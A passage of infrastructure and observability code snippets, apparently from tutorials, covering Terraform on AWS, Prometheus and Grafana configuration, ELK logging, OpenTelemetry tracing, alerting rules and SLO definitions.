  launch_specification {
    instance_type     = "t3.large"
    ami               = data.aws_ami.amazon_linux_2.id
    spot_price        = "0.10"
    availability_zone = "us-east-1b"
  }
}

resource "aws_flow_log" "main" {
  iam_role_arn    = aws_iam_role.flow_logs.arn
  log_destination = aws_cloudwatch_log_group.flow_logs.arn
  traffic_type    = "ALL"
  vpc_id          = aws_vpc.main.id

  tags = {
    Name = "vpc-flow-logs"
  }
}

resource "aws_cloudwatch_log_group" "flow_logs" {
  name              = "/aws/vpc/flow-logs"
  retention_in_days = 30
}

resource "aws_cloudwatch_dashboard" "main" {
  dashboard_name = "infrastructure-dashboard"

  dashboard_body = jsonencode({
    widgets = [
      {
        type = "metric"
        properties = {
          metrics = [
            ["AWS/EC2", "CPUUtilization", { stat = "Average" }],
            [".", "NetworkIn", { stat = "Sum" }],
            [".", "NetworkOut", { stat = "Sum" }]
          ]
          period = 300
          stat   = "Average"
          region = "us-east-1"
          title  = "EC2 Metrics"
        }
      }
    ]
  })
}

# P95 latency
histogram_quantile(0.95,
  rate(http_request_duration_seconds_bucket[5m])
)

# Average latency
rate(http_request_duration_seconds_sum[5m]) /
rate(http_request_duration_seconds_count[5m])

# Requests per second
rate(http_requests_total[5m])

# Request volume by endpoint
sum by (endpoint) (rate(http_requests_total[5m]))

# Error rate
rate(http_requests_total{status=~"5.."}[5m]) /
rate(http_requests_total[5m])

# Error count
sum(rate(http_requests_total{status=~"5.."}[5m]))

# CPU usage
100 - (avg by(instance) (rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)

# Memory usage
(node_memory_MemTotal_bytes - node_memory_MemAvailable_bytes) /
node_memory_MemTotal_bytes * 100

# Disk usage
(node_filesystem_size_bytes - node_filesystem_avail_bytes) /
node_filesystem_size_bytes * 100

Applications → Prometheus → Grafana
     ↓
  Exporters

# prometheus.yml
global:
  scrape_interval: 15s
  evaluation_interval: 15s
  external_labels:
    cluster: 'production'
    region: 'us-east-1'

scrape_configs:
  - job_name: 'prometheus'
    static_configs:
      - targets: ['localhost:9090']

  - job_name: 'node-exporter'
    static_configs:
      - targets: ['node1:9100', 'node2:9100']

  - job_name: 'application'
    kubernetes_sd_configs:
      - role: pod
    relabel_configs:
      - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
        action: keep
        regex: true

  - job_name: 'blackbox'
    metrics_path: /probe
    params:
      module: [http_2xx]
    static_configs:
      - targets:
          - https://example.com
          - https://api.example.com
    relabel_configs:
      - source_labels: [__address__]
        target_label: __param_target
      - source_labels: [__param_target]
        target_label: instance
      - target_label: __address__
        replacement: blackbox-exporter:9115

const client = require('prom-client');

// Default metrics (CPU, memory, etc.)
client.collectDefaultMetrics();

// Counter
const httpRequestsTotal = new client.Counter({
  name: 'http_requests_total',
  help: 'Total HTTP requests',
  labelNames: ['method', 'route', 'status']
});

// Histogram
const httpRequestDuration = new client.Histogram({
  name: 'http_request_duration_seconds',
  help: 'HTTP request latency',
  labelNames: ['method', 'route', 'status'],
  buckets: [0.1, 0.5, 1, 2, 5]
});

// Gauge
const activeConnections = new client.Gauge({
  name: 'active_connections',
  help: 'Active connections'
});

// Middleware
app.use((req, res, next) => {
  const start = Date.now();

  res.on('finish', () => {
    const duration = (Date.now() - start) / 1000;
    httpRequestsTotal.inc({
      method: req.method,
      route: req.route?.path || req.path,
      status: res.statusCode
    });
    httpRequestDuration.observe({
      method: req.method,
      route: req.route?.path || req.path,
      status: res.statusCode
    }, duration);
  });

  next();
});

// Metrics endpoint
app.get('/metrics', async (req, res) => {
  res.set('Content-Type', client.register.contentType);
  res.end(await client.register.metrics());
});

from prometheus_client import Counter, Histogram, Gauge, start_http_server

# Metrics
requests_total = Counter(
    'http_requests_total',
    'Total HTTP requests',
    ['method', 'endpoint', 'status']
)

request_duration = Histogram(
    'http_request_duration_seconds',
    'HTTP request latency',
    ['method', 'endpoint'],
    buckets=[0.1, 0.5, 1.0, 2.0, 5.0]
)

active_users = Gauge(
    'active_users',
    'Currently active users'
)

# Decorator
def track_metrics(func):
    def wrapper(*args, **kwargs):
        method = request.method
        endpoint = request.endpoint

        with request_duration.labels(method, endpoint).time():
            response = func(*args, **kwargs)

        requests_total.labels(
            method,
            endpoint,
            response.status_code
        ).inc()

        return response
    return wrapper

# Start metrics server
start_http_server(8000)

# Requests per second
rate(http_requests_total[5m])

# Total requests in 5 minutes
increase(http_requests_total[5m])

# Delta for gauges
delta(cpu_temperature_celsius[1h])

# Sum across all instances
sum(rate(http_requests_total[5m]))

# Average by instance
avg by(instance) (rate(http_requests_total[5m]))

# Top 5 endpoints
topk(5, sum by(endpoint) (rate(http_requests_total[5m])))

# Count of targets
count(up == 1)

# Percentiles
histogram_quantile(0.99,
  rate(http_request_duration_seconds_bucket[5m])
)

# Prediction (linear regression)
predict_linear(node_filesystem_free_bytes[1h], 4 * 3600)

# Absolute value
abs(delta(cpu_temp[5m]))

# Rounding
round(node_memory_MemAvailable_bytes / 1024 / 1024)

{
  "dashboard": {
    "title": "Application Metrics",
    "panels": [
      {
        "title": "Request Rate",
        "type": "graph",
        "targets": [
          {
            "expr": "sum(rate(http_requests_total[5m]))",
            "legendFormat": "Total RPS"
          }
        ]
      },
      {
        "title": "Error Rate",
        "type": "graph",
        "targets": [
          {
            "expr": "sum(rate(http_requests_total{status=~\"5..\"}[5m])) / sum(rate(http_requests_total[5m])) * 100",
            "legendFormat": "Error %"
          }
        ]
      },
      {
        "title": "P95 Latency",
        "type": "graph",
        "targets": [
          {
            "expr": "histogram_quantile(0.95, sum(rate(http_request_duration_seconds_bucket[5m])) by (le))",
            "legendFormat": "P95"
          }
        ]
      }
    ]
  }
}

{
  "templating": {
    "list": [
      {
        "name": "environment",
        "type": "query",
        "query": "label_values(http_requests_total, environment)",
        "current": {
          "text": "production",
          "value": "production"
        }
      },
      {
        "name": "instance",
        "type": "query",
        "query": "label_values(http_requests_total{environment=\"$environment\"}, instance)"
      }
    ]
  }
}

input {
  beats {
    port => 5044
  }

  tcp {
    port => 5000
    codec => json
  }
}

filter {
  if [type] == "nginx" {
    grok {
      match => {
        "message" => "%{COMBINEDAPACHELOG}"
      }
    }

    date {
      match => [ "timestamp", "dd/MMM/yyyy:HH:mm:ss Z" ]
    }

    geoip {
      source => "clientip"
    }
  }

  if [type] == "application" {
    json {
      source => "message"
    }

    mutate {
      add_field => {
        "[@metadata][index]" => "app-logs-%{+YYYY.MM.dd}"
      }
    }
  }
}

output {
  elasticsearch {
    hosts => ["elasticsearch:9200"]
    index => "%{[@metadata][index]}"
  }

  if [level] == "ERROR" {
    slack {
      url => "${SLACK_WEBHOOK}"
      format => "Error: %{message}"
    }
  }
}

filebeat.inputs:
  - type: log
    enabled: true
    paths:
      - /var/log/app/*.log
    fields:
      type: application
      environment: production
    multiline.pattern: '^[0-9]{4}-[0-9]{2}-[0-9]{2}'
    multiline.negate: true
    multiline.match: after

  - type: docker
    containers.ids: '*'
    processors:
      - add_docker_metadata: ~

output.logstash:
  hosts: ["logstash:5044"]

processors:
  - add_host_metadata: ~
  - add_cloud_metadata: ~

# Search by field
level: ERROR

# Time range
@timestamp: [now-1h TO now]

# Boolean
level: ERROR AND service: api

# Wildcard
message: *timeout*

# Regex
message: /error \d+/

# Range
response_time: [500 TO *]

# Exists
_exists_: user_id

# Aggregation
service: api | stats count() by status_code

const { NodeSDK } = require('@opentelemetry/sdk-node');
const { getNodeAutoInstrumentations } = require('@opentelemetry/auto-instrumentations-node');
const { JaegerExporter } = require('@opentelemetry/exporter-jaeger');

const sdk = new NodeSDK({
  traceExporter: new JaegerExporter({
    endpoint: 'http://jaeger:14268/api/traces',
  }),
  instrumentations: [getNodeAutoInstrumentations()],
  serviceName: 'my-service',
});

sdk.start();

// Custom spans
const { trace } = require('@opentelemetry/api');

async function processOrder(orderId) {
  const tracer = trace.getTracer('order-service');

  return tracer.startActiveSpan('processOrder', async (span) => {
    span.setAttribute('order.id', orderId);

    try {
      await validateOrder(orderId);
      await chargePayment(orderId);
      await fulfillOrder(orderId);

      span.setStatus({ code: SpanStatusCode.OK });
      return { success: true };
    } catch (error) {
      span.setStatus({
        code: SpanStatusCode.ERROR,
        message: error.message
      });
      span.recordException(error);
      throw error;
    } finally {
      span.end();
    }
  });
}

const { propagation, context } = require('@opentelemetry/api');

// Extract context from headers
const extractedContext = propagation.extract(
  context.active(),
  req.headers
);

// Inject context into headers
const carrier = {};
propagation.inject(context.active(), carrier);
axios.get('http://downstream-service', {
  headers: carrier
});

# alerts.yml
groups:
  - name: application
    interval: 30s
    rules:
      - alert: HighErrorRate
        expr: |
          (
            sum(rate(http_requests_total{status=~"5.."}[5m])) /
            sum(rate(http_requests_total[5m]))
          ) > 0.05
        for: 5m
        labels:
          severity: critical
          team: backend
        annotations:
          summary: "High error rate on {{ $labels.instance }}"
          description: "Error rate is {{ $value | humanizePercentage }}"

      - alert: HighLatency
        expr: |
          histogram_quantile(0.95,
            sum(rate(http_request_duration_seconds_bucket[5m])) by (le)
          ) > 1
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "High latency detected"
          description: "P95 latency is {{ $value }}s"

      - alert: ServiceDown
        expr: up{job="application"} == 0
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "Service {{ $labels.instance }} is down"

      - alert: DiskSpaceLow
        expr: |
          (
            node_filesystem_avail_bytes{mountpoint="/"} /
            node_filesystem_size_bytes{mountpoint="/"}
          ) < 0.1
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Low disk space on {{ $labels.instance }}"
          description: "Only {{ $value | humanizePercentage }} remaining"

# alertmanager.yml
global:
  resolve_timeout: 5m
  slack_api_url: 'https://hooks.slack.com/services/XXX'

route:
  group_by: ['alertname', 'cluster']
  group_wait: 10s
  group_interval: 10s
  repeat_interval: 12h
  receiver: 'team-notifications'
  routes:
    - match:
        severity: critical
      receiver: 'critical-alerts'
      continue: true

    - match:
        team: backend
      receiver: 'backend-team'

receivers:
  - name: 'team-notifications'
    slack_configs:
      - channel: '#alerts'
        title: 'Alert: {{ .GroupLabels.alertname }}'
        text: '{{ range .Alerts }}{{ .Annotations.description }}{{ end }}'

  - name: 'critical-alerts'
    slack_configs:
      - channel: '#critical'
    pagerduty_configs:
      - service_key: 'xxx'

  - name: 'backend-team'
    email_configs:
      - to: 'backend@example.com'
        from: 'alerts@example.com'
        smarthost: 'smtp.gmail.com:587'

inhibit_rules:
  - source_match:
      severity: 'critical'
    target_match:
      severity: 'warning'
    equal: ['alertname', 'instance']

# Availability SLI
sum(rate(http_requests_total{status!~"5.."}[30d])) /
sum(rate(http_requests_total[30d]))

# Latency SLI
histogram_quantile(0.95,
  sum(rate(http_request_duration_seconds_bucket[30d])) by (le)
)

# Throughput SLI
sum(rate(http_requests_total[30d]))

slos:
  - name: availability
    target: 99.9%  # 3 nines
    sli: |
      sum(rate(http_requests_total{status!~"5.."}[30d])) /
      sum(rate(http_requests_total[30d]))

  - name: latency
    target: 95%    # 95% of requests < 200ms
    sli: |
      sum(rate(http_request_duration_seconds_bucket{le="0.2"}[30d])) /
      sum(rate(http_request_duration_seconds_count[30d]))

# Error budget remaining
1 - (
  (1 - (sum(rate(http_requests_total{status!~"5.."}[30d])) /
        sum(rate(http_requests_total[30d]))))
  /
  (1 - 0.999)  # SLO target
)

# Error budget burn rate
(1 - availability_sli) / (1 - availability_slo)

const logger = require('pino')();

logger.info({
  req_id: req.id,
  user_id: req.user.id,
  method: req.method,
  path: req.path,
  duration_ms: duration,
  status: res.statusCode
}, 'Request completed');

DEBUG: Detailed diagnostic information
INFO: General informational messages
WARN: Warning messages for degraded state
ERROR: Error events that still allow app to continue
FATAL: Critical errors that cause shutdown

# Format: <namespace>_<name>_<unit>
http_requests_total
http_request_duration_seconds
database_connections_active

# Low cardinality - Good
http_requests_total{method="GET", status="200"}

# High cardinality - Bad (avoid)
http_requests_total{user_id="12345"}  # Too many unique values

Critical: User-facing impact, immediate action
Warning: Potential future impact, review during business hours
Info: FYI, no action required

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
  }
}

provider "aws" {
  region = var.aws_region
}

resource "aws_instance" "web" {
  ami           = "ami-0c55b159cbfafe1f0"
  instance_type = "t3.micro"

  tags = {
    Name = "WebServer"
    Environment = "production"
  }
}

data "aws_ami" "ubuntu" {
  most_recent = true
  owners      = ["099720109477"]

  filter {
    name   = "name"
    values = ["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"]
  }
}

variable "environment" {
  description = "Environment name"
  type        = string
  default     = "dev"
}

variable "instance_count" {
  description = "Number of instances"
  type        = number
  default     = 1
}

variable "tags" {
  description = "Resource tags"
  type        = map(string)
  default     = {}
}

output "instance_ip" {
  description = "Public IP of instance"
  value       = aws_instance.web.public_ip
}

output "instance_id" {
  description = "ID of instance"
  value       = aws_instance.web.id
}

module "vpc" {
  source = "./modules/vpc"

  vpc_cidr = "10.0.0.0/16"
  environment = var.environment
}

module "web_cluster" {
  source = "terraform-aws-modules/ec2-instance/aws"
  version = "5.0.0"

  name           = "web-cluster"
  instance_count = 3

  ami           = data.aws_ami.ubuntu.id
  instance_type = "t3.micro"
  subnet_id     = module.vpc.public_subnet_ids[0]
}

# terraform.tfstate stores current infrastructure state
# NOT recommended for team environments

terraform {
  backend "s3" {
    bucket         = "my-terraform-state"
    key            = "prod/terraform.tfstate"
    region         = "us-east-1"
    encrypt        = true
    dynamodb_table = "terraform-locks"
  }
}

terraform {
  cloud {
    organization = "my-org"

    workspaces {
      name = "production"
    }
  }
}

# DynamoDB table for state locking
resource "aws_dynamodb_table" "terraform_locks" {
  name           = "terraform-locks"
  billing_mode   = "PAY_PER_REQUEST"
  hash_key       = "LockID"

  attribute {
    name = "LockID"
    type = "S"
  }
}

# Initialize working directory
terraform init

# Upgrade providers
terraform init -upgrade

# Reconfigure backend
terraform init -reconfigure

# Show execution plan
terraform plan

# Save plan to file
terraform plan -out=tfplan

# Show specific resource changes
terraform plan -target=aws_instance.web

# Plan with variable file
terraform plan -var-file="prod.tfvars"

# Apply with confirmation
terraform apply

# Apply saved plan
terraform apply tfplan

# Apply without confirmation (CI/CD)
terraform apply -auto-approve

# Apply specific resource
terraform apply -target=aws_instance.web

# Destroy all resources
terraform destroy

# Destroy specific resource
terraform destroy -target=aws_instance.web

# Destroy without confirmation
terraform destroy -auto-approve

# List resources in state
terraform state list

# Show resource details
terraform state show aws_instance.web

# Remove resource from state
terraform state rm aws_instance.web

# Move resource in state
terraform state mv aws_instance.web aws_instance.app

# Pull remote state
terraform state pull

# Push local state
terraform state push terraform.tfstate

# Import EC2 instance
terraform import aws_instance.web i-1234567890abcdef0

# Import with module
terraform import module.vpc.aws_vpc.main vpc-1234567890abcdef0

# List workspaces
terraform workspace list

# Create workspace
terraform workspace new staging

# Switch workspace
terraform workspace select production

# Show current workspace
terraform workspace show

# Delete workspace
terraform workspace delete staging

# environments/prod/main.tf
module "infrastructure" {
  source = "../../modules/infrastructure"

  environment    = "production"
  instance_type  = "t3.large"
  instance_count = 5
  enable_backup  = true
}

# environments/dev/main.tf
module "infrastructure" {
  source = "../../modules/infrastructure"

  environment    = "development"
  instance_type  = "t3.micro"
  instance_count = 1
  enable_backup  = false
}

# modules/web-app/main.tf
module "networking" {
  source = "../networking"

  vpc_cidr    = var.vpc_cidr
  environment = var.environment
}

module "security" {
  source = "../security"

  vpc_id      = module.networking.vpc_id
  environment = var.environment
}

module "compute" {
  source = "../compute"

  vpc_id            = module.networking.vpc_id
  subnet_ids        = module.networking.private_subnet_ids
  security_group_id = module.security.web_sg_id
}

resource "aws_security_group" "web" {
  name   = "web-sg"
  vpc_id = var.vpc_id

  dynamic "ingress" {
    for_each = var.ingress_rules
    content {
      from_port   = ingress.value.from_port
      to_port     = ingress.value.to_port
      protocol    = ingress.value.protocol
      cidr_blocks = ingress.value.cidr_blocks
    }
  }
}

# Usage
ingress_rules = [
  {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  },
  {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }
]

resource "aws_instance" "web" {
  count = var.create_instance ? 1 : 0

  ami           = var.ami_id
  instance_type = var.instance_type
}

# Or with for_each
resource "aws_s3_bucket" "logs" {
  for_each = var.enable_logging ? { "logs" = true } : {}

  bucket = "app-logs-${each.key}"
}

data "terraform_remote_state" "networking" {
  backend = "s3"

  config = {
    bucket = "terraform-state"
    key    = "networking/terraform.tfstate"
    region = "us-east-1"
  }
}

resource "aws_instance" "app" {
  ami           = var.ami_id
  instance_type = "t3.micro"
  subnet_id     = data.terraform_remote_state.networking.outputs.subnet_id
}

locals {
  common_tags = {
    Environment = var.environment
    ManagedBy   = "Terraform"
    Project     = var.project_name
  }

  name_prefix = "${var.project_name}-${var.environment}"

  instance_count = var.environment == "production" ? 5 : 2
}

resource "aws_instance" "app" {
  count = local.instance_count

  ami           = var.ami_id
  instance_type = "t3.micro"

  tags = merge(
    local.common_tags,
    {
      Name = "${local.name_prefix}-app-${count.index}"
    }
  )
}

terraform/
├── environments/
│   ├── prod/
│   │   ├── main.tf
│   │   ├── variables.tf
│   │   ├── outputs.tf
│   │   └── terraform.tfvars
│   └── dev/
│       ├── main.tf
│       ├── variables.tf
│       └── outputs.tf
├── modules/
│   ├── vpc/
│   │   ├── main.tf
│   │   ├── variables.tf
│   │   └── outputs.tf
│   └── ec2/
│       ├── main.tf
│       ├── variables.tf
│       └── outputs.tf
└── shared/
    ├── providers.tf
    └── backend.tf

terraform {
  required_version = "~> 1.6"

  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
    random = {
      source  = "hashicorp/random"
      version = "~> 3.5"
    }
  }
}

variable "environment" {
  description = "Environment name"
  type        = string

  validation {
    condition     = contains(["dev", "staging", "prod"], var.environment)
    error_message = "Environment must be dev, staging, or prod."
  }
}

variable "instance_type" {
  description = "EC2 instance type"
  type        = string

  validation {
    condition     = can(regex("^t[23]\\.", var.instance_type))
    error_message = "Only t2 and t3 instance types allowed."
  }
}

variable "db_password" {
  description = "Database password"
  type        = string
  sensitive   = true
}

output "db_endpoint" {
  description = "Database endpoint"
  value       = aws_db_instance.main.endpoint
  sensitive   = true
}

# Use descriptive resource names
resource "aws_instance" "web_server" { }      # Good
resource "aws_instance" "instance1" { }       # Bad

# Use consistent naming patterns
locals {
  name_prefix = "${var.project}-${var.environment}"
}

# Tag all resources
tags = {
  Name        = "${local.name_prefix}-web"
  Environment = var.environment
  ManagedBy   = "Terraform"
  CostCenter  = var.cost_center
}

# Don't hardcode credentials
provider "aws" {
  region = var.region
  # Uses AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY env vars
}

# Use IAM roles instead
provider "aws" {
  region = var.region
  assume_role {
    role_arn = var.assume_role_arn
  }
}

# Encrypt sensitive data
resource "aws_s3_bucket_server_side_encryption_configuration" "state" {
  bucket = aws_s3_bucket.terraform_state.id

  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm = "AES256"
    }
  }
}

name: Terraform

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  terraform:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v3

      - name: Setup Terraform
        uses: hashicorp/setup-terraform@v2
        with:
          terraform_version: 1.6.0

      - name: Terraform Init
        run: terraform init

      - name: Terraform Format
        run: terraform fmt -check

      - name: Terraform Validate
        run: terraform validate

      - name: Terraform Plan
        run: terraform plan -out=tfplan
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

      - name: Terraform Apply
        if: github.ref == 'refs/heads/main'
        run: terraform apply -auto-approve tfplan

# Force unlock (use with caution)
terraform force-unlock <lock-id>

# Import existing resource
terraform import aws_instance.web i-1234567890abcdef0

# Check for drift
terraform plan -refresh-only

# Update state with actual infrastructure
terraform apply -refresh-only

# Enable verbose logging
export TF_LOG=DEBUG
terraform plan

# Log to file
export TF_LOG_PATH=terraform.log
terraform apply

Monitoring: Health checks, uptime
Observability: Understanding system behavior

// Counter: Monotonically increasing
requests_total.inc({ path: '/api', status: 200 });

// Gauge: Point-in-time value
memory_usage.set(process.memoryUsage().heapUsed);

// Histogram: Distribution of values
request_duration.observe(duration);

// Summary: Similar to histogram, quantiles calculated client-side
latency_summary.observe(duration);

{
  "timestamp": "2025-01-15T10:30:45Z",
  "level": "error",
  "message": "Database connection failed",
  "service": "api-gateway",
  "trace_id": "abc123",
  "span_id": "def456",
  "error": {
    "type": "ConnectionTimeout",
    "stack": "..."
  },
  "context": {
    "user_id": "user_789",
    "endpoint": "/checkout",
    "retry_count": 3
  }
}

// ❌ Bad: String interpolation
logger.info('User ' + userId + ' purchased item ' + itemId + ' for $' + price);

// ✅ Good: Structured fields
logger.info('Purchase completed', {
  user_id: userId,
  item_id: itemId,
  price: price,
  currency: 'USD',
  payment_method: 'credit_card'
});

[User Request] → API Gateway (50ms)
                 ├─ Auth Service (10ms)
                 ├─ Product Service (20ms)
                 │  └─ Database (15ms)
                 └─ Payment Service (200ms) ← SLOW!
                    └─ External API (190ms)

// 1. Add instrumentation during development
async function processOrder(orderId) {
  const span = trace.startSpan('processOrder');
  span.setAttribute('order.id', orderId);

  try {
    logger.info({ orderId }, 'Processing order');

    const order = await fetchOrder(orderId);
    metrics.orderValue.observe(order.total);

    await validateInventory(order);
    await chargePayment(order);

    logger.info({ orderId, total: order.total }, 'Order processed');
    return order;
  } catch (error) {
    logger.error({ orderId, error }, 'Order processing failed');
    metrics.orderErrors.inc({ reason: error.code });
    span.recordException(error);
    throw error;
  } finally {
    span.end();
  }
}

┌─────────────┐
│ Application │──┐
└─────────────┘  │
                 ├──→ ┌──────────────┐
┌─────────────┐  │    │  Collector   │
│   Service   │──┤    │  (OpenTelem) │
└─────────────┘  │    └──────────────┘
                 │           │
┌─────────────┐  │           ├──→ Metrics (Prometheus)
│  Database   │──┘           ├──→ Logs (Loki/ES)
└─────────────┘              └──→ Traces (Jaeger/Tempo)

// Head-based sampling (decision at start)
const sampler = new TraceIdRatioBasedSampler(0.1); // 10%

// Tail-based sampling (decision at end)
if (span.duration > 1000 || span.hasError) {
  span.setSampled(true); // Always keep slow/error traces
} else {
  span.setSampled(Math.random() < 0.01); // 1% of normal traces
}

// Adaptive sampling
const rate = errorRate > 0.01 ? 1.0 : 0.1; // 100% when errors high

// Service A: Create context
const trace = tracer.startSpan('handleRequest');
const context = {
  'trace-id': trace.spanContext().traceId,
  'span-id': trace.spanContext().spanId,
  'request-id': generateRequestId(),
  'user-id': req.user.id
};

// Pass to Service B
await axios.post('http://service-b/api', data, {
  headers: context
});

// Service B: Extract context
const traceId = req.headers['trace-id'];
const parentSpan = req.headers['span-id'];
const childSpan = tracer.startSpan('processData', {
  parent: parentSpan
});

// Both services now linked in distributed trace

# Kubernetes metrics via prometheus
apiVersion: v1
kind: Service
metadata:
  annotations:
    prometheus.io/scrape: "true"
    prometheus.io/port: "9090"
    prometheus.io/path: "/metrics"

// Auto-instrumentation
const { registerInstrumentations } = require('@opentelemetry/instrumentation');
registerInstrumentations({
  instrumentations: [
    new HttpInstrumentation(),
    new ExpressInstrumentation(),
    new PgInstrumentation(),
    new RedisInstrumentation()
  ]
});

// Custom business metrics
const checkoutMetrics = {
  started: new Counter({ name: 'checkout_started_total' }),
  completed: new Counter({ name: 'checkout_completed_total' }),
  abandoned: new Counter({ name: 'checkout_abandoned_total' }),
  value: new Histogram({
    name: 'checkout_value_dollars',
    buckets: [10, 50, 100, 500, 1000]
  })
};

// Business events
async function completeCheckout(cart) {
  const startTime = Date.now();

  try {
    const order = await createOrder(cart);

    // Business observability
    events.emit('checkout.completed', {
      order_id: order.id,
      user_id: cart.userId,
      total: order.total,
      items: order.items.length,
      duration_ms: Date.now() - startTime,
      payment_method: order.paymentMethod,
      promocode: order.promoCode || null
    });

    return order;
  } catch (error) {
    events.emit('checkout.failed', {
      user_id: cart.userId,
      error_type: error.name,
      step: error.step
    });
    throw error;
  }
}

// Add trace context to logs
logger.info({
  trace_id: span.spanContext().traceId,
  span_id: span.spanContext().spanId,
  message: 'Order processed'
});

// Query logs by trace ID
// logs: trace_id:"abc123"
// See all logs for this request

// Add log events to traces
span.addEvent('Payment authorized', {
  'payment.id': paymentId,
  'payment.method': 'credit_card'
});

// Link from trace span to logs
// Grafana: Click span → "View logs"

// Exemplars link metrics to traces
histogram.observe(
  { endpoint: '/checkout' },
  duration,
  { trace_id: traceId } // Exemplar
);

// In Grafana: Click metric spike → See example traces

// ❌ Bad: User ID as label (millions of users)
requests.inc({ user_id: req.user.id });

// ✅ Good: User ID in logs only
logger.info({ user_id: req.user.id }, 'Request');
requests.inc({ endpoint: req.path });

class AdaptiveSampler {
  constructor() {
    this.errorRate = 0;
    this.baseRate = 0.01; // 1%
  }

  shouldSample(span) {
    // Always sample errors
    if (span.hasError) return true;

    // Sample more during high error rates
    const rate = this.errorRate > 0.05
      ? 0.5  // 50% when errors high
      : this.baseRate;

    // Sample all slow requests
    if (span.duration > 1000) return true;

    return Math.random() < rate;
  }

  updateErrorRate(rate) {
    this.errorRate = rate;
  }
}

// Browser instrumentation
import { WebTracerProvider } from '@opentelemetry/sdk-trace-web';
import { DocumentLoadInstrumentation } from '@opentelemetry/instrumentation-document-load';

const provider = new WebTracerProvider();
provider.register();

// Measure web vitals
import { onCLS, onFID, onLCP } from 'web-vitals';

onCLS(metric => {
  sendMetric('web_vitals_cls', metric.value, {
    page: window.location.pathname
  });
});

onFID(metric => {
  sendMetric('web_vitals_fid', metric.value);
});

onLCP(metric => {
  sendMetric('web_vitals_lcp', metric.value);
});

// User journey tracking
class UserJourney {
  constructor() {
    this.sessionId = generateSessionId();
    this.events = [];
  }

  track(event) {
    this.events.push({
      timestamp: Date.now(),
      type: event.type,
      data: event.data,
      page: window.location.pathname
    });

    // Send to analytics
    if (this.events.length >= 10) {
      this.flush();
    }
  }

  flush() {
    sendEvents(this.sessionId, this.events);
    this.events = [];
  }
}

// Synthetic health checks
const syntheticChecks = [
  {
    name: 'api_health',
    interval: '1m',
    endpoint: 'https://api.example.com/health',
    assertions: [
      { type: 'status', value: 200 },
      { type: 'latency', max: 500 },
      { type: 'body', contains: '"status":"ok"' }
    ]
  },
  {
    name: 'user_flow',
    interval: '5m',
    steps: [
      { action: 'visit', url: '/login' },
      { action: 'fill', field: 'email', value: 'test@example.com' },
      { action: 'fill', field: 'password', value: 'test123' },
      { action: 'click', selector: '#submit' },
      { action: 'assert', selector: '.dashboard', exists: true }
    ]
  }
];

# Tiered retention
retention:
  metrics:
    raw: 15d        # Full resolution
    5m: 90d         # 5min aggregation
    1h: 1y          # 1hour aggregation

  logs:
    hot: 7d         # Fast search (ES)
    warm: 30d       # Slower search (S3)
    cold: 90d       # Archive (Glacier)

  traces:
    full: 7d        # All traces
    sampled: 30d    # 10% sample
    errors: 90d     # Error traces only

// 1. Smart log levels
if (process.env.NODE_ENV === 'production') {
  logger.level = 'info'; // Skip debug logs
}

// 2. Sampling
const shouldLog = req.path.startsWith('/api')
  || Math.random() < 0.01; // 1% of other requests

// 3. Deduplication
const errorCache = new Map();
function logError(error) {
  const key = `${error.code}:${error.message}`;
  const lastSeen = errorCache.get(key);

  if (!lastSeen || Date.now() - lastSeen > 60000) {
    logger.error(error);
    errorCache.set(key, Date.now());
  }
}

// 4. Aggregation
// Instead of individual request logs
metrics.httpRequests.inc(); // Much cheaper

// 5. Filtering
// Don't log health checks
if (req.path === '/health') return next();

# Istio automatic observability
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: reviews
spec:
  hosts:
    - reviews
  http:
    - match:
        - headers:
            end-user:
              exact: jason
      route:
        - destination:
            host: reviews
            subset: v2
      # Automatic metrics for:
      # - Request rate
      # - Error rate
      # - Latency distribution
      # - Distributed traces

// 1. Consistent naming
span.name = `${method} ${resource}`; // GET /users
span.name = `${service}.${operation}`; // userService.createUser

// 2. Rich attributes
span.setAttributes({
  // HTTP semantic conventions
  'http.method': 'POST',
  'http.url': req.url,
  'http.status_code': res.statusCode,

  // Database semantic conventions
  'db.system': 'postgresql',
  'db.statement': query,
  'db.name': 'users',

  // Custom business context
  'user.id': userId,
  'order.total': orderTotal
});

// 3. Span hierarchy
async function processOrder(orderId) {
  return tracer.startActiveSpan('processOrder', async (orderSpan) => {
    await tracer.startActiveSpan('validateOrder', async (validateSpan) => {
      // validation logic
      validateSpan.end();
    });

    await tracer.startActiveSpan('chargePayment', async (paymentSpan) => {
      // payment logic
      paymentSpan.end();
    });

    orderSpan.end();
  });
}

// Dependency graph
const dependencies = {
  'api-gateway': ['auth-service', 'user-service', 'order-service'],
  'order-service': ['inventory-service', 'payment-service', 'notification-service'],
  'payment-service': ['stripe-api', 'fraud-detection']
};

// Detect circular dependencies
// Alert on new dependencies
// Visualize in Grafana/Jaeger

# Good alert characteristics
alert: HighErrorRate
expr: error_rate > 0.05  # 5% errors
for: 5m                   # Sustained for 5 minutes
annotations:
  summary: "High error rate detected"
  runbook: "https://wiki.company.com/runbooks/high-error-rate"
  dashboard: "https://grafana.company.com/d/errors"
labels:
  severity: critical
  team: backend
  oncall: true

# Avoid alert fatigue
# ❌ Don't alert on:
#   - Symptoms without impact
#   - Transient spikes
#   - Non-actionable metrics
#   - Too many conditions

# ✅ Do alert on:
#   - User-facing issues
#   - SLO violations
#   - Security events
#   - Clear action needed

// Canary analysis
const canaryMetrics = {
  baseline: await queryMetrics('version=v1', timeRange),
  canary: await queryMetrics('version=v2', timeRange)
};

